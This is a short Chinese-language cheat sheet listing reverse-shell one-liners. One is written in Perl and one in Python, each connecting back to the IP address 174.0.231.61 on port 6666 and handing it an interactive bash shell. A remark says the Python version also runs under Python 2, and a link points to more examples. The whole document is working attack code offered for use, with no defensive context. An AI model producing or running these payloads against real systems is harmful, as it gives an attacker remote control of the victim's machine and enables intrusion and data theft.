几种反弹shell命令

perl

payload：

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"174.0.231.61:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

使用：

python

payload：

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.0.231.61',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

注：这个脚本python2，也可以用，只需把python3改为python即可。

使用：

更多参考：https://www.cnblogs.com/20175211lyz/p/12397933.html